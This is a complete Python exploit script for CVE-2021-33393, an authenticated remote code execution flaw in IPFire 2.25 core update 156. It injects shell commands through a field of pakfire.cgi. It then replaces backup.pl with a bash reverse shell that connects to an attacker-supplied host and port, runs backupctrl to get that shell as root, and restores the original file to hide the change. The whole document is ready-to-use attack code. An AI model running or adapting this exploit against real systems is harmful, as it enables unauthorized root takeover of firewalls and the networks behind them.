exploit.py

#!/usr/bin/python3

# Exploit Title: ipfire 2.25 - core update 156 remote code execution (Authenticated)
# Date: 16/05/2026
# Exploit Author: João Augusto M
# Based on the original exploit by Mücahit Saratar (KaanaryOverFlow)
# Vendor Homepage: https://www.ipfire.org/
# Original: https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce/blob/main/exploit0.py
# CVE: CVE-2021-33393
# Version: 2.25 - core update 156

import requests as R
import sys
import base64
import warnings
import time
warnings.filterwarnings("ignore")

try:
    host = sys.argv[1]
    assert host[:4] == "http" and host[-1] != "/"
    url = host + "/cgi-bin/pakfire.cgi"
    username = sys.argv[2]
    password = sys.argv[3]
    hp = sys.argv[4].split(":")
    lhost = hp[0]
    port = hp[1]
except:
    print(f"{sys.argv[0]} https://target.com:444 username password lhost:lport")
    exit(1)

def run(command):
    veri = {
        "INSPAKS": f";{command}",
        "ACTION": "install",
        "x": "10",
        "y": "6"
    }
    token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())
    header = {
        "Authorization": token,
        "Connection": "close",
        "Referer": host
    }
    try:
        R.post(url, data=veri, headers=header, verify=False, timeout=2)
    except:
       	pass

print("[*] Fazendo backup do backup.pl original...")
run("cp /var/ipfire/backup/bin/backup.pl /tmp/backup.pl.bak")

print("[*] Escrevendo payload em backup.pl...")
time.sleep(2)
run("echo '#!/bin/bash' > /var/ipfire/backup/bin/backup.pl")
run(f"echo '/bin/bash -i >& /dev/tcp/{lhost}/{port} 0>&1' >> /var/ipfire/backup/bin/backup.pl")

print("[*] Executando backupctrl como root...")
time.sleep(2)
run("/usr/local/bin/backupctrl export")

print("[*] Restaurando backup.pl original...")
time.sleep(2)
run("cp /tmp/backup.pl.bak /var/ipfire/backup/bin/backup.pl")